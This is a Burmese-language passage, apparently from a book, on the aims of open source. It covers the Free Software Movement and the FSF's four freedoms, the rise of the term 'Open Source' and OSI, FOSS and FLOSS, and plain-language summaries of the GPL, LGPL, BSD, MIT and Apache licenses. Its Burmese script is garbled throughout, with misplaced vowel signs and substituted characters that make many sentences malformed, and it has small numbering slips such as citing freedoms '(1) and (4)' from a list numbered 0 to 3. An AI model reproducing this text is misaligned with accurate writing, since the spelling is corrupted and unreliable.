ဘယ်လိုဖေနတ်းီထားလဲ မသိရေရေငလ်ညး်သံုးလိုိ့ တာရ့ေိနမာှပပဲဖေစ် ပါတယ်။ အဓပိ္ပါယ်ကြ သံုးယံုပသံုဲး မိလ့လာနဲ့ဆုိတဲ့
သိဘာ ပဖေစ်လာပါတယ်။  ကြဗျာတစ်ပဒုကုိ်ြ  EULA နဲ့  "ဘယ်လိုိ ရေး ထားလမဲအကြည့်ရေ" လို့ သတမ်တှလ်ိုမ့ရေပါဘးူ။
ဘယ်လိုိ ရေးထားလမဲမှအကြည့်ရေင် ကြဗျာကုိြ ဘယ်လိုသွားဖေတရ်ေိတာမ့ာှလ။ဲ ဒါိပမယ့်  Software ကုိြိတာ့ "ဘယ်လို
ိရေးထားလမဲအကြည့်ရေ" လ့ုိ သတမ်တှလ်ိုရ့ေိနပါတယ်။ ဒါကြ  Software နဲ့ အပခား ဖေနတ်းီမှုများပဖေစ်တဲ့ ဓါတပ်ုံ၊ ကြဗျာ၊
ဝတ္ထ ုတို့ရေဲ့ကွြာပခားချက်ြပဖေစ်ပါတယ်။  မပူိုငခ်ငွ့်ဥပိဒကြ အားလုံးကုိြတညူစွီာ  မလူ  မပူိုငခ်ငွ့်အကြာအကွြယ်ိပးထားိပ
မယ့် မညသူ်မဆုိ ဝတ္ထ ုတစ်ပဒု်  ဘယ်လိုိ ရေးထားလဖဲေတလ်ို့ရေပါတယ်။ ကြဗျာတစ်ပဒု်  ဘယ်လိုစပထ်ားလဲ ဖေတလ်ို့ရေပါ
တယ်။  Software မာှ ိတာ ့ဘယ်လိုတည်ိ ဆာက်ြထားလ ဲိလလ့ာလို့မရေပါဘးူ။ 

ဒီိ တာ့ မပူိုငခ်ငွ့်ဥပိဒများရေဲ့  မလူရေညရ်ေယ်ွချက်ြကြ တထီငွဖ်ေနတ်းီသူများကုိြ  အားိပးဖေိုပ့ဖေစ်ိပမယ့်  Software  ိတွ
အတက်ွြ  မပူိုငခ်ငွ့်ဥပိဒိတကုိွြ  EULA  ိတနွဲ့ိ ပါငး်လိုက်ြတဲ့အခါမာှိတာ့  အားိပးသလိုမပဖေစ်တဲ့အပပင်  တထီငွ်
ဖေနတ်းီမှု လမး်စကြို  ပတိလ်ိုက်ြသလို  ပဖေစ်သွားိစပါိတာတ့ယ်။  အရေငရ်ေှိထားပပီး  ဖေနတ်းီမှုများကုိြ  ိလ့လာလို့မရေတဲ့
အတက်ွြ အသစ် တစ်ခဖုေနတ်းီလိုသူတိုင်းကြ သုညကြစိန အပမပဲပနပ်ပနစ်ိနရေမလို ပဖေစ်ိစပါတယ်။ ဒအီတိုင်းသာဆုိရေင်
Software နညး်ပညာများရေဲ့  ဖေွံ့ ပဖေို းမှုကြ အများကကီြး ိနာှင့်ိ နးှသွားဖေိုရ့ေှိပါတယ်။ 

Open  Source  လှုပရ်ောှးမှုများ  အစပပုလာခဲ့ပခငး်ဟာ  ဒအီချက်ြကုိြပပုပပငပ်ပီး  လပွလ်ပစွ်ာိလလ့ာခငွ့်ပပုထားတဲ့
Software များကုိြအားိပးဖေို့ပဖေစ်ပါတယ်။ Open Source ကြ Software များဖေနတ်းီပပးီ အခိအကြးိငနွဲ့ ိရောငး်ချပခငး်
ကုိြ မကြန့်ကြက်ွြ ပါဘးူ။  Software များကုိြ အခမဲအ့သံုးပပုခငွ့်ရေိရေးဟာလညး် အဓကိြအိအကြာငး်ရေင်း မဟတုပ်ါဘးူ။
ကွြနပ်ျူတာ Software ကုိြလညး် အပခားဖေနတ်းီမှုများနညး်တူ လပွလ်ပစွ်ာိလ့လာခငွ့်ရေိရေးသညသ်ာ Open Source
ရေဲ့  အဓကိြရေည် ရေယ်ွချက်ြပဖေစ်ပါတယ်။ ဒရီေညရ်ေယ်ွချက်ြနဲအ့ည၊ီ မပူိုငခ်ငွ့် ဥပိဒများကြိပးတဲ့ အကြာအကွြယ်မျာကုိြရေယူ
ရေငး်၊  တစ်ဘက်ြကြ လညး် ဖေနတ်းီထားပုံကုိြ  လပွလ်ပစွ်ာိလ့လာနိုင်ိ စဖေို့အတက်ွြ  License  များ ဖေနတ်းီထားရေှိိ ပး
ပခငး်ပဖေစ်ပါတယ်။ ဒီိ တာ့  မလူဖေနတ်းီရေငှရ်ေဲ့  မပူိုငခ်ငွ့်ကိြု  လညး်မထခိိုက်ြိစပဲ အပခားသူများကုိြလညး် ိလလ့ာခငွ့်ရေရေှိ
သွားိစပါတယ်။ ဒါဟာ Open Source ရေဲ့  အဓကိြရေညရ်ေယ်ွချက်ြပပဲဖေစ် ပါတယ်။ 

Free Software Movement 
၁၉၈၃ ခနုစ်ှမာှ၊  Software  ိတကုိွြ လပွလ်ပစွ်ာိလလ့ာခငွ့်ိ တရွေရေှိိ စဖေို့ဆုိတဲ့ ရေညရ်ေယ်ွချက်ြနဲအ့တူ  GNU Project
စီမံ ကိြနး်ကုိြ Richard Stallman ဆုိသူကြ စတငခ်ဲ့ပါတယ်။ ၁၉၈၅ ခနုစ်ှမာှ Free Software Foundation (FSF)
ဆုိတဲ့ အဖေွဲ့အစညး် တစ်ရေပကုိ်ြလညး် သူကြပစဲတငတ်ည်ိ ထာငခ်ဲ့ပပးီ လပွလ်ပစွ်ာိလလ့ာခငွ့်ိ ပးထားတဲ့ ကွြနပ်ျူတာ
Software  ိတကုိွြ  ိရေးသားဖေနတ်းီခဲ့ပါတယ်။  တနညး်အားပဖေင့်  EULA  များရေဲ့  အကြာအကွြယ်နဲ့  Software
ထတုလ်ပု် ိရောငး်ချိနသူ များကုိြ ဒလီိုမကြာကွြယဖ်ေို့ သွားိပပာိနပခငး်မဟတုပ်ဲ တစ်ဘက်ြကြိန လပွလ်ပစွ်ာိလ့လာ
ခငွ့်ိ ပးထားတဲ့  Software  များကုိြ  ကုိြယ်တိုငဖ်ေနတ်းီခဲ့ပခင်း  ပဖေစ်ပါတယ်။  ဒလီှုပရ်ောှးမှုကုိြ   Free  Software
Movement လ့ုိ ိခါ်ပပးီ ကြိနက့ြျွန်ိ တာတ်ိုိ့ ပပာ ိနအကြတဲ့ Open Source ရေဲ့  မလူအစလညး်ပဖေစ်ပါတယ်။ 
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Free  Software  Foundation  ကြ  သတမ်တှခ်ဲ့တဲ့  Software  လပွလ်ပခ်ငွမ်ာှ  အချက်ြ  (၄)  ချက်ြပါဝငပ်ါတယ်။
ကွြနပ်ျူတာ စနစ်ိတရွေဲ့  အစကြဏနး်ဟာ သုညပဖေစ်တဲ့အတက်ွြ အ့ဲဒအီချက်ြိတကုိွြ ိဖောပ်ပတဲ့အခါ သုည  (၀)  ကြိန
စတင ်ိဖောပ်ပခဲ့ ပါတယ်။ အ့ဲဒီ အချက်ြိတကွြိတာ့ - 

Freedom 0: The freedom to run the program for any purpose. 
Freedom 1: The freedom to study how the program works, and change it to make it do what you wish. 
Freedom 2: The freedom to redistribute copies so you can help your neighbor. 
Freedom 3: The freedom to improve the program, and release your improvements (and modified versions in
general) to the public, so that the whole community benefits. 

Software  ိတကုိွြ  မညသ်ည့်ရေညရ်ေယ်ွချက်ြအတက်ွြမဆုိ  အသံုးပပုခငွ့်ရေှိတယ်။  လွပလ်ပစွ်ာိလလ့ာခငွ့်၊  လုိအပသ်လို
ပပငဆ်င် ခငွ့်ရေှိတယ်။ မလူ Software ကုိြပပနလ်ည်ိ ဝမျှပိုငခ်ငွ့်ရေှိတယ်။ မမိကုိိြယ်တိုငရ်ေဲ့  ပပငဆ်ငပ်ဖေည့်စွက်ြချက်ြများကုိြ
လညး် ပပနလ်ည်ိ ဝမျှခငွ့် ရေှိတယ်ဆုိတဲ့ အချက်ြိလးချက်ြပပဲဖေစ်ပါတယ်။ 

သတမ်တှခ်ျက်ြထမဲာှ  Source  Code  ကုိြဖေငွ့်ိ ပးထားရေမယ်လို့  မပါပါဘးူ။  ဒါိပမယ့်   Software  ကုိြ  ိလလ့ာဖေို့နဲ့
ပပငဆ်ငဖ်ေို့  ဆုိတာကြ  Source Code  မရေှိပမဲပဖေစ်နိုငပ်ါဘးူ။ ဒါိအကြာင့်  သတမ်တှခ်ျက်ြ  (၁)  နဲ့  (၄)  ကုိြ  လုိက်ြနာနိုငဖ်ေို့
အတက်ွြ Source Code ကုိြပါ ိလလ့ာခငွ့်ိ ပးရေမယ့်သိဘာ ပဖေစ်သွားပါတယ်။ 

မလူရေညရ်ေယ်ွချက်ြကုိြထပ်ိ ပပာရေရေင်  Software  ိတကုိွြ  ိရောငး်မစားအကြဖေိုန့ဲ့  အလကြားိပးအကြဖေို့  မဟတုပ်ါဘးူ။  လပွ်
လပစွ်ာ ိလလ့ာခငွ့်ရေိရေးနဲ့  Software Freedom သညသ်ာလျှင် အဓကိြရေညရ်ေယ်ွချက်ြပဖေစ်ပါတယ်။  FSF ကြ Free
ဆုိတဲ့  စကြားလုံးကုိြ  Libre  (လပွလ်ပခ်ငွ့်)  ဆုိတဲ့  ရေညရ်ေယ်ွချက်ြနဲ့အသုံးပပုခဲ့တာပဖေစ်ပါတယ်။  ဒါိပမယ့်လညး်
သိဘာတရေားအမနှ် ကုိြ နားမလညသူ်ိတကွြ Free Software ဆုိတာကုိြ အခမဲ့ရေတဲ့ Software လ့ုိပဲ ထငပ်မငယူ်ဆ
အကြပါတယ်။ ဒါိအကြာင့် လည်း  FSF ကြ Free ဆုိတဲ့ စကြားလုံးရေဲ့  အဓပိ္ပါယ်ကုိြ "free as in free speech, not as in
free beer" လို့ အဓပိ္ပါယ်သတမ်တှ်ိ ဖောပ်ပခဲ့ရေပါတယ်။ 

Open Source Software
၁၉၉၇ ခနုစ်ှမာှ  Eric  S.  Raymond  ဆုိသူကြ  The  Cathedral  and  the  Bazaar  ဆုိတဲ့  စာတမး်တစ်ိစာငကုိ်ြ
ိရေးသားိဖောပ်ပခဲ့ပါတယ်။ Free Software ဆုိတဲ့ အသံုးအနှံုးဟာ ိယဘုံယျဆနလ်နွပ်ပီး နညး်ပညာသမား မဟတုသူ်
ိတ ွအတက်ွြ နားလညရ်ေခက်ြခဲိ စတယ်လို့လညး် ိဝဖေနခ်ဲ့ပါတယ်။  Free Software  ဆုိတဲ့အသံုးအနှံုးအစား  Open
Source Software ဆုိတဲ့ အသံုးအနှံုးကုိြ ိပပာငး်လအဲသံုးပပုအကြဖေို ့တိုက်ြတနွး်လာခဲ့ပါတယ။် 

အ့ဲဒီအချနိမ်ာှပဲ အပခားိသာအဖေွဲ့အစညး်များကြလညး် သူတို့ကုိြယ်ပိုင်  Free Software ိတမွာှ ရေှိသင့်တဲ့အချက်ြိတွ
ကုိြ သီးပခားသတမ်တှလ်ာခဲ့အကြပါတယ်။ မလူ Free Software Foundation ကြ သတမ်တှခ်ျက်ြိတနွဲ့ များစွာကွြာပခား
လပှခငး် ိတာ ့မရေှိပါဘးူ။ ထငရ်ောှးတာကြိတာ ့၁၉၉၈ ခနုစ်ှမာှ ထတုပ်ပနခ်ဲ့တဲ့ အချက်ြ (၁၀) ချက်ြပါတဲ့ Debian Open
Source Software Definition  ပဖေစ်ပါတယ်။ 

Open Source ဆုိတဲ့အသံုးအနှံုးကြို ပထမဦးဆံုး ထထိိိရောက်ြိရောက်ြ အသံုးပပုခဲ့သူကြိတာ့ Netscape ပဖေစ်ပါတယ်။
Netscape ဟာ Free Software ရေဲ့  အိတးွအိခါ်သိဘာတရေားိတကုိွြ  Software လပွလ်ပခ်ငွ့်အတက်ွြသာမကြပ၊ဲ
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စီးပာွးိရေးနယ်ပယ်မာှပါ အများနဲ့မတနူဲ့ စီးပာွးိရေးပုံစံစနစ်  (Business Model) တစ်ခအုိနနဲ့ အသံုးချဖေို့ကကိြုးစားခဲ့
တဲ့ အဖေွဲ့အစညး်ပါ။ စီးပာွးိရေးနယ် ပယ်မာှ နညး်ပညာသမားမဟတုသူ် စီးပာွးိရေးသမားိတအွတက်ွြ နားလညမ်ှုလွဲ
ိစနိုငတ်ဲ့ Free Software ဆုိတဲ့အသံုးအနှံုးထက်ြ၊ Open Source Software ဆုိတဲ့အသံုးအနှံုးကြ ပိုသင့်ိ တာတ်ယ်
လို့ယူဆတဲ့ အတက်ွြ ပဖေစ်ပါတယ်။ 

သိပမ်အကြာခငမ်ာှပဲ  Bruce Perens,  Tim O'Reilly,  Linus Torvalds  အစရေှိတဲ့  နာမည်ိ ကြျာ်  ပဂု္ိုဂ လ်ိ တလွညး်
Open Source  ဆုိတဲ့အသံုးအနှံုးကြို လက်ြခအံသံုးပပုလာအကြပါတယ်။ မလူကြ Free Software  လို့ အမညခ်ထံားတဲ့
သူတို့ရေဲ့   Software  ိတကုိွြ  Open Source Software  လို့ ိပပာငး်လအဲမညခ်ခံဲ့ပါတယ်။ ၁၉၉၈ ိဖေိဖောဝ်ါရေလီမာှ
ိတာ့  Open  Source  Initiative  (OSI)  ဆုိတဲ့  အဖေွဲအစည်းကုိြ  Eric  Raymond  နဲ့  Bruce  Perens  တို့  ပးူတွဲ
တည်ိ ထာငခ်ဲ့ပါတယ်။ 

FOSS and FLOSS 
Free Software နဲ့  Open Source Software ကုိြိပါငး်ပပီး  Free and Open Source Software (FOSS) ဆုိတဲ့
အသံုးအနှံုးကုိြလညး် သံုးအကြပါိသးတယ။် OSI ကုိြ ဖေွဲစညး်ပပီး တစ်လအအကြာိလာက်ြကြတညး်ကြ FOSS ဆုိတဲ့အသံုး
အနှံုးကုိြ  တစ်ချို ့ကြ  စတငအ်သံုးပပုခဲ့အကြတာ  ပဖေစ်ပါတယ်။  ၂၀၀၃  ခနုစ်ှအတက်ွြ  အိမရေကိြနပ်ပည်ိ ထာငစု်
Department of Defense ရေဲ့  Free Software နဲ့ Open Source Software များ အသံုးပပုမှုအစီရေငခ်ံစာမာှလညး်
FOSS လ့ုိပ ဲသံုးနှံုး ခဲ့ပါတယ်။ 
 
၂၀၀၁ ခနုစ်ှမာှ  ဥိရောပသမဂ္ဂကြ  Free/Libre/Open Source Software  ရေဲ့  အတိုိ ကြာက်ြပဖေစ်တဲ့  FLOSS  ဆုိတဲ့
အသံုး အနှံုးကိြု အသံုးပပုခဲ့ပါိသးတယ်။  Free Software  လို့ပသံုဲးသင့်တယ်၊  Open Source Software  လို့ပသံုဲး
သင့်တယ် စတဲ့ ပငငး်ခုံမှုများ ရေှိိ နတဲ့အတက်ွြ အ့ဲဒပီငငး်ခုံမှု တမွာှ  မပါဝငလ်ိုတဲ့  အတက်ွြ  FLOSS  လို့  သံုးပခငး်ပဖေစ်
တယ်လို့လညး်ဆုိအကြ ပါတယ်။ 

Open Source License 
Copyright  နဲ့ပတသ်က်ြရေင်  Copyright Law နဲ့ လိုငစ်ငကုိ်ြ ခွဲပခားနားလညဖ်ေိုလ့ိုပါတယ်။  Copyright Law အရေ
တထီငွ် ဖေနတ်းီမှုတိုငး်ရေဲ့  မလူမပူိုငခ်ငွ့်ပိုငရ်ေငှဟ်ာ အိပခခအံားပဖေင့် မလူဖေနတ်းီရေငှပ်ဖေစ်ပါတယ်။  ပိုငရ်ေငှမ်ရေှိတဲ့ ဖေနတ်းီမှု
များကုိြ  Public Domain  လို့ ိခါ်ပါတယ်။ မပူိုငခ်ငွ့်သက်ြတမး်ပပည့်သွားတဲ့အခါ၊ သုိမ့ဟတု်  အိအကြာငး်အမျို းမျို း
ိအကြာင့် မပူိုငခ်ငွ့် ပိုငရ်ေငှမ်ရေှိတဲ့အခါ ဖေနတ်းီမှုကြ ပိုငရ်ေငှမ်ဲ့ (တနညး်အားပဖေင့် အများပိုင်) ပဖေစ်သွားပါတယ။် လပွလ်ပစွ်ာ
ိလလ့ာခငွ့်ိ ပး ထားတဲ့  Open Source Software  များ ဖေနတ်းီဖေို့အတက်ွြ  Public Domain  ပဖေစ်စရောမလိုပါဘးူ။
Open Source Software ိတမွာှလညး် မလူဖေနတ်းီရေငှက်ြ မပူိုငခ်ငွ့် ပိုငရ်ေငှပ်ပဲဖေစ်ပါတယ်။ အများပိုင် မဟတုပ်ါဘူး။
မလူဖေနတ်းီသူကြပပဲိုင် ပါတယ်။ 

အ့ဲဒလီို  မလူဖေနတ်းီသူပိုငတ်ဲ့  Software  ကုိြ  အပခားသူများကြ အိပခခအံားပဖေင့်  ရေယူအသံုးပပုပခင်း၊  ိလလ့ာပပငဆ်င်
ပခငး် ပပုလပုခ်ငွ့်  မရေအကြပါဘးူ။ ဒါိအကြာင့် အပခားသူများ တရေားဝငရ်ေယူအသံုးပပုနိုငဖ်ေို၊့  ိလလ့ာပပငဆ်ငန်ိုငဖ်ေိုအ့တက်ွြ
လိုငစ်ငမ်ျား  သတမ်တှထ်ားရေပါတယ်။ ရေငှး်ိအာငထ်ပ်ိ ပပာရေရေင်  Open Source  Software  ိတမွာှလညး် ပိုငရ်ေငှ်
ကြိတာ့ မလူဖေနတ်းီ သူသာပဖေစ်ပပးီ အပခားသူများ ရေယူိလလ့ာ ပပငဆ်ငတ်ယ်ဆုိတာဟာ မလူပိုငရ်ေငှက်ြ လိုငစ်ငန်ဲ့ခငွ့်
ပပုထားတဲ့အတိုငး်  ရေယူရေ  ပခငး်ပဖေစ်ပါတယ်။   ဒါကုိြ  အထပထ်ပ်  ပပန်ိ ပပာရေတာကြ၊  တစ်ချို ့လညး်  Open  Source
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Software ဆုိတာလပွလ်ပွလ်ပလ်ပ် ိပးထားလို့ ရေယူပပးီလပုခ်ျငရ်ောကုိြ လပုခ်ျငသ်လိုလပုလ်ို့ရေတဲ့  Software များလို့
အမတှမ်ာှးတက်ြအကြလို့ပဖေစ်ပါတယ်။ 
 
စာဖေတသူ်ကြ  Software  တစ်ခဖုေနတ်းီထားပပးီ  အ့ဲဒီ  Software  ကုိြ  အသံုးပပုသူများကြ  ဘယ်ပုံဘယ်နညး်  ရေယူ
အသံုးပပုခငွ့်  ိပးမလဆုိဲတဲ့  EULA  ကုိြ  ိရေှ့ိနများနဲ့  တိုငပ်ငပ်ပးီိရေးသားသတမ်တှဖ်ေို့လိုနိုငပ်ါတယ်။  ဥပိဒိရေးရော
နားလညသူ်များရေဲ့  အအကံြဉာဏကုိ်ြရေယူိရေးသားမသှာ   ဘက်ြစံုပပည့်စံု  လုံပခုံတဲ့  လိုငစ်ငတ်စ်ခပုဖေစ်မာှပဖေစ်ပါတယ်။
အကြယ်၍ အ့ဲဒီ  Software  ကုိြပဲ  အများိလလ့ာနိုငတ်ဲ့  Open Source Software  အပဖေစ် သတမ်တှလ်ိုတယ်ဆိုရေင်
ိတာ့  ိငကုွြန်ိ အကြးကြျခပံပီး  ိရေှ့ိန ိရေှ့ရေပမ်ျား  ငာှးရေမး်ိနဖေို့မလိုပါဘးူ။  GNU,  OSI  စတဲ့  Open  Source  အဖေွဲ့
အစညး်များကြ စစ်ိဆးအသိအမတှပ်ပုထားတဲ့  Open Source  လုိငစ်ငမ်ျား အသင့်ိ ရေးထားပပးီ ရေှိိ နပါတယ်။ အ့ဲဒီ
လိုငစ်ငမ်ျားထကဲြ  ကုိြယ့်လိုအပခ်ျက်ြနဲ့  အကုိြက်ြညဆံုီး  ပဖေစ်နိုငတ်ဲ့  လုိငစ်ငကိ်ြု  ိရေးွချယ်ပပးီ   "အသံုးပပုလိုသူဟာဒီ
လိုငစ်ငပ်ါသတမ်တှခ်ျက်ြများကုိြ သိဘာတရူေမယ်" လို့ သတမ်တှ ်ိပးလိုက်ြယုံပပဲဖေစ်ပါတယ်။ 

အသံုးများတဲ့  Open  Source  License  အချို ့ရေဲ့  သတမ်တှခ်ျက်ြများကုိြ  အများနားလညလ်ယ်ွတဲ့ပုံစံနဲ့  ထည့်သွငး်
ိဖောပ်ပ ိပးလိုက်ြပါတယ်။

1. GNU General Public License (GPL) 
ဤ Software အား မညသူ်မဆုိ လပွလ်ပစွ်ာအသံုးပပု ခငွ့်၊ ပပုပပငခ်ငွ့်နငှ့် ပပနလ်ညပ်ဖေန့်ိ ဝခငွ့်ရေှိသည။် ဤ Software
အား ပပုပပငမ်နွး်မခံဲ့လျှင် အဆုိပါပပုပပငမ်နွး်မမံှုများပါဝငသ်ည့်  Version  အား  GPL  လုိငစ်င်ဆက်ြလက်ြသတမ်တှ၍်
လပွလ်ပစွ်ာ  အသံုးပပုခငွ့်၊  ပပုပပငခ်ငွ့်နငှ့်  ပပနလ်ည ်ပဖေန့်ိ ဝခငွ့်ကုိြိပးရေမည။်  ဤ  Software  နငှ့်ဆကြစ်ပ၍်  ဆင့်ပာွး
ထတုလ်ပုထ်ားိသာ Software များအားလညး် GPL သုိမ့ဟတု် အလားတလူိုငစ်ငသ်တမ်တှ၍် လပွလ်ပစွ်ာအသံုးပပု
ခငွ့်၊ ပပုပပငခ်ငွ့်နငှ့် ပပနလ်ညပ်ဖေန့်ိ ဝခငွ့်ကုိြိပးရေမည။် 

2. GNU Lesser General Public License (LGPL) 
ဤ Software အား မညသူ်မဆုိ လပွလ်ပစွ်ာ အသံုးပပုခငွ့်၊ ပပုပပငခ်ငွ့်နငှ့် ပပနလ်ညပ်ဖေန့်ိ ဝခငွ့်ရေှိသည။် ဤ Software
အား  ပပုပပငမ်နွး်မခံဲ့လျှင်  အဆုိပါပပုပပငမ်နွး်မမံှုများပါဝငသ်ည့်  Version  အား  LGPL  လုိငစ်ငပ်ဖေင့်ပင်  ဆက်ြလက်ြ
သတမ်တှ၍် အခမဲ့အသံုးပပုခငွ့်၊ ပပုပပငခ်ငွ့်နငှ့် ပပနလ်ည ်ပဖေန့်ိ ဝခငွ့်ိ ပးရေမည။် ဤ Software နငှ့်ဆကြစ်ပ၍် ဆင့်ပာွး
ထတုလ်ပု ်ထားိသာ Software များအား ဤလိုငစ်င ်သက်ြိရောက်ြရေနမ်လိုပါ။ နစ်ှသက်ြရောလိုငစ်ငအ်သံုးပပုနိုငသ်ည။်

3. BSD License 
ဤ  Software  ကုိြ မညသူ်မဆုိ လပွလ်ပစွ်ာ အသံုးပပုခငွ့်၊  ပပုပပငခ်ငွ့်နငှ့်  ပပနလ်ညပ်ဖေန့်ိ ဝခငွ့်ရေှိသည။် ဤ  Software
အား ပပုပပင် မနွး်မခံဲ့လျှင် အဆိုပါ ပပုပပငမ်နွ်းမမံှုများပါဝငသ်ည့်  Version  အား ဤလိုငစ်င် ဆက်ြလက်ြသက်ြိရောက်ြ
ရေနမ်လိုပါ။ နစ်ှသက်ြရော လုိငစ်င်အသံုးပပုနိုငသ်ည။် မလူမပူိုငခ်ငွ့်ပိုငရ်ေငှ၏် အမညကုိ်ြ ပပုပပငမ်နွ်းမထံားိသာ Version
အား Promote လုပရ်ေန် (ခငွ့်ပပု ချက်ြမရေလျှင်) အသံုးမပပုရေ။ 
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4. MIT License 
ဤ Software ကုိြ မညသူ်မဆုိ လပွလ်ပစွ်ာ အသံုးပပုခငွ့်၊ ပပုပပငခ်ငွ့်နငှ့် ပပနလ်ညပ်ဖေန့်ိ ဝခငွ့်ရေှိသည။် ဤ Software ကုိြ
ပပနလ်ညပ်ဖေန့်ိ ဝရောတငွလ်ည်ိ ကြာငး်၊ ဤ Software ၏ တစ်စိတတ်စ်ပိုင်းကုိြ ပဖေန့်ိ ဝရောတငွလ်ည်ိ ကြာငး် မလူမပူိုင်
ခငွ့် ပိုငရ်ေငှ၏် အမညပ်ါဝငသ်ည့် ဤလိုငစ်ငသ်တမ်တှခ်ျက်ြကုိြ အပမတဲွဲဖေက်ြထည့်သွငး်ိပးရေမည။်

5. Apache License 
ဤ Software ကုိြ မညသူ်မဆုိ လပွလ်ပစွ်ာ အသုံးပပုခငွ့်၊ ပပုပပငခ်ငွ့်နငှ့် ပပနလ်ညပ်ဖေန့်ိ ဝခငွ့် ရေှိသည။် ဤ Software
အား ပပုပပငမ်နွး်မခံဲ့လျှင် အဆုိပါ ပပုပပငမ်နွး်မမံှုများပါဝငသ်ည့် Version အား ဤလိုငစ်င် ဆက်ြလက်ြသက်ြိရောက်ြရေန်
မလိုပါ။ နစ်ှသက်ြရောလိုငစ်င် အသံုးပပုနိုငသ်ည။် ဤ Software အား ပပုပပငမ်နွး်မခံဲ့လျှင် ပပုပပငထ်ားသည့် File တိုငး်
တငွ်  ပပုပပငမ်ှုနငှ့်  ပတသ်က်ြသည့်  အချက်ြအလက်ြများ၊  မပူိုငခ်ငွ့်ဆိုငရ်ောအချက်ြအလက်ြများကုိြ  ပပည့်စံုစွာ  ထည့်သွငး်
ိဖောပ်ပိပးရေမည။် 

Choosing A License
GPL လိုငစ်ငမ်ာှ  ပပုပပငမ်နွး်မမံှုကုိြ  GPL  လုိငစ်ငန်ဲပ့ဲ   Open Source  ဆက်ြလပု်ိ ပးရေမယ်ဆုိတဲ့  ကြန့်သတခ်ျက်ြနဲ့၊
လက်ြရေှိ   Open Source Software  ကုိြ အသံုးပပု တည်ိ ဆာက်ြထားတဲ့  Software  များကုိြလညး် Open Source
အပဖေစ် သတမ်တှ်ိ ပးရေမယ် ဆုိတဲ့ ကြန့်သတခ်ျက်ြပါဝငတ်ာကုိြ သတပိပုပါ။ ဒီိ တာ့ ကုိြယ်ကြိစတနာိကြာငး်နဲ့  Open
Source  ိပးလိုက်ြတဲ့  Software  ကုိြ  တစ်ဦးတစ်ိယာက်ြကြ  ရေယူပပင်ဆငမ်ယ်ဆုိရေင်  အဲဒ့ပီပငဆ်ငခ်ျက်ြဟာလညး်
Open Source ပဖေစ်ရေိတာမ့ာှပါ။ သူများ Open ိပး ထားတာကုိြရေယူပပးီ၊ ကုိြယ့်ပဖေည့်စွက်ြချက်ြကြျိတာမ့ှ ပပနမ်ိပးပဲ
ပတိထ်ားလိုက်ြပခငး် ကြိန ကြာကွြယ်ိပးထားပါတယ်။ အရေငက်ြ  Open Source Software ိတမွာှ  GPL လုိငစ်င်
ကုိြ အသံုးများ အကြပါတယ်။ 

အခုိ နာက်ြပိုငး်မာှိတာ့  BSD,  MIT  စတဲ့လိုငစ်ငမ်ျားကုိြ  ပိုပပးီအသုံးများလာအကြပါတယ်။  BSD  နဲ့  MIT  ကြ
ကြန့်သတခ်ျက်ြ အိတာန်ညး်ပါတယ။် ရေယူအသံုးပပုသူကြ လပွလ်ပွလ်ပလ်ပ် မနွး်မပံပငဆ်ငပ်ပးီ အ့ဲဒပီပင်ဆငခ်ျက်ြများ
ကုိြ နစ်ှသက်ြသလို ဆက်ြလက်ြသတမ်တှခ်ငွ့်ိ ပးထားပါတယ်။  အပခား  Mozilla License, Creative Common,
CPAL အစရေှိတဲ့ Open Source လိုငစ်င်ိ တလွညး်ရေှိပါိသးတယ်။ Mozilla လိုငစ်ငက်ြ Apache လိုငစ်ငန်ဲ့ ဆငပ်ါ
တယ်။  အိသးစိတ်  သတမ်တှ်  ချက်ြများမာှ  ကွြာသွားတာပါ။   Creative  Common  လုိငစ်ငက်ြိတာ့  Software
ထက်ြစာရေင်  Document  ိတနွဲ့  Text Content  ိတအွတက်ွြ ပိုသင့်ိ တာပ်ါတယ်။ ဒစီာအုပရ်ေဲ့နမနူာကုိြ မညသူ်မဆုိ
အခမဲ့ရေယူနိုင်ိ အာင်  p  wdbook.com   မာှ Creative Common လုိငစ်ငန်ဲ့ိ ပးထားပါတယ်။ ကြန့်သတခ်ျက်ြကြိတာ့
အကြျို းအပမတအ်လို့ငာှ ိရောငး်ချပခငး်မပပုရေဘးူလို့ သတမ်တှထ်ားပါတယ်။ တစ်ခသုတပိပုရေ မာှကြ GPL, LGPL တို့
ကြ  မနွး်မမံှုကုိြ  Open  Source  လုပရ်ေမယ်ကြန့်သတ်ိ ပမယ့်  အကြျို းအပမတအ်လို့ငာှ  ိရောငး်ချပခငး်မပပုရေဘးူလို့
သတမ်တှမ်ထားပါဘူး။ ဒါိအကြာင့်  GPL Software တစ်ခပုဖေစ်တဲ့ Linux OS ကုိြ စာဖေတသူ်ကြ Download ရေယူပပးီ
ပပနလ်ည ်ိရောငး်ချရေငတ်ရေားဝငပ်ါတယ်။ CPAL လိုငစ်ငက်ြိတာ ့မလူမပူိုငခ်ငွ့် ပိုငရ်ေငှကုိ်ြ အပမဲ Credit ိပးရေမယ် ဆုိ
တဲ့အချက်ြ ပဖေည့်စွက်ြပါဝငပ်ါတယ်။ 

ဒါိအကြာင့်  Software  တစ်ခကုိုြ  Open  Source  အပဖေစ်ိပးလိုတဲ့အခါ  ဒလီိုငစ်ငမ်ျားထကဲြ  နစ်ှသက်ြရောကုိြ  အသင့်
ိရေးွချယ်  အသံုးပပုနိုင်ိ စမာှပဖေစ်ပါတယ်။  ဒထီကဲြမှ  ကုိြယ့်လိုအပခ်ျက်ြနဲ့မကိြက်ုြညီိ သးဘးူဆုိရေငလ်ညး်  လိုအပခ်ျက်ြနဲ့
နးီစပတ်ဲ့ လိုငစ်င် တစ်ခကုိုြ ိရေးွချယ်ပပီး  ဥပိဒိရေးရော နားလညသူ်များရေဲ့အအကံြပပုချက်ြနဲ့ ပပုပပငပ်ဖေည့်စွက်ြနိုငပ်ါတယ်။

http://pwdbook.com/
http://pwdbook.com/
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ဥပမာ  - PHP ဆုိရေင် Open Source ဆုိိပမယ့် GPL တို့ MIT တို့ မသံုးပါဘးူ။ သူလ့ိုငစ်ငန်ဲသူ့ သီးပခား သတမ်တှ်
ပပးီ ိပးထားပခငး်ပဖေစ် ပါတယ်။ 

Conclusion 
Open Source ရေဲ့  မလူရေညရ်ေယ်ွချက်ြဟာ  Software များကုိြ လပွလ်ပစွ်ာိလလ့ာခငွ့်ရေိရေးပဖေစ်ိအကြာငး် အကကိြမက်ကိြမ်
ထည့်သွငး် ိပပာပဖေစ်ခဲ့ပါတယ်။ ကြိန့ိ ခတမ်ာှိတာ့  Open Source ဆုိတာ Software Freedom အတက်ွြတငမ်ကြ
